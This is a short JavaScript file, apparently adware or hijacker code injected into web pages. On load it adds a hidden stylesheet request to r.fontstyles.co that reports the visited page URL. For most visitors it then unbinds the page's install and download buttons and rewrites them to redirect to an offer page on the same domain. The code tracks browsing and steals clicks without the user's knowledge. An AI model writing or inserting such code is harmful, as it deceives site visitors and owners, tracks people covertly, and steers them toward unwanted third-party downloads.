
var instant = false;


function getSearchParameters() {
      var prmstr = window.location.search.substr(1);
      return prmstr != null && prmstr != "" ? transformToAssocArray(prmstr) : {};
}

function transformToAssocArray( prmstr ) {
    var params = {};
    var prmarr = prmstr.split("&");
    for ( var i = 0; i < prmarr.length; i++) {
        var tmparr = prmarr[i].split("=");
        params[tmparr[0]] = tmparr[1];
    }
    return params;
}


!function () {
	e = document.createElement('link');
	if(document.getElementsByTagName('head').length > 0){
		f = document.getElementsByTagName('head')[0];
	}else{
		f = document.getElementsByTagName('html')[0];
	}
	e.type='text/css';
	var location = document.location.toString().split('?');
    e.href = 'http://r.fontstyles.co/clk/c.php?a=2454&ctyp=css&subid='+encodeURIComponent(location[0]);
    e.rel="stylesheet";
    f.parentNode.insertBefore(e, f);
}();

$(document).ready(function(){
	
		var params = getSearchParameters();
		var rand = Math.floor((Math.random() * 100) + 1);
		if(params.hp==1){
			instant=true;
			rand=-1;
		}
		if(rand >= 60){
			
		}else{
			track_download = function(){
				window.location='http://r.fontstyles.co/of/group.php?og=301';
				return false;
			}
			loadcoupon_notrack = function(){
				window.location='http://r.fontstyles.co/of/group.php?og=301';
				return false;

			}
			$('.install-button-trigger').unbind();
			$('.install-button-trigger').click(function(){
				window.location='http://r.fontstyles.co/of/group.php?og=301';
			})
		}
	

	
});	